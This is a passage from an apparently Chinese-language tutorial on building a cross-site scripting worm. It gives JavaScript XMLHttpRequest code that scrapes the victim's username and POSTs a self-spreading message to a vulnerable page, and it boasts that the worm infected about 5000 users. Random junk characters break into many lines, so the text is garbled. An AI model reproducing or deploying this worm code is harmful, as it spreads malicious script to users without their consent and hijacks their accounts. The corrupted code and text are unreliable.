# I5 W! D) q8 }xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");1 k2 m' i4 ?7 u& b$ [" H7 [" C
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xmlHttpReq.setRequestHeader("content-length",post.length); 7 k f7 g' E! j1 [8 U
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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- K0 ]7 t+ ?+ a$ JxmlHttpReq.send(post);, o+ L. b1 h2 {
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}
& B, A+ v: W8 t$ v6 ~; n复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{" t8 s4 F9 R9 r8 W/ ^0 J G' n$ s- [
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var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方5 o1 o7 U H0 n0 J2 ~
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var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
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8 L, `) K6 R' D& r2 b7 Rvar wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.4 @8 X* T3 M5 L, O+ n6 }& P4 j
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var post="wd="+wd;
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4 K4 ^; H. R& a- K0 CxmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);
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: j9 x/ X$ G3 u4 |xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");7 G! b) ]: T* B3 x6 ^) P. i- J' a
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xmlHttpReq.setRequestHeader("content-length",post.length);
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");0 y& b( e' x, O& {
4 _; t3 _9 W9 J+ c2 m0 G7 qxmlHttpReq.send(post); //把传播的信息 POST出去.# O; z n/ T% z; [0 t: O3 d* a- e
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复制代码-----------------------------------------------------总结-------------------------------------------------------------------
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5 ]! I/ ?/ z' h2 a) y H3 Q
) s4 P" h! |8 q本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
" H9 x& x' t: \- q7 C; q* F1 L/ K蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
6 F# ]* C. k' S, B5 @) F操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.8 E! S- h3 p( T6 W/ M
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本文引用文档资料:! I6 q% o) N7 Q# Y; Q
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"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
8 |, K( ]% M: V2 `" Q0 hOther XmlHttpRequest tricks (Amit Klein, January 2003)& b) X% A+ F1 \& r
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
1 o5 |2 H5 M9 q3 vhttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
. {, |% m) `% ~空虚浪子心BLOG http://www.inbreak.net
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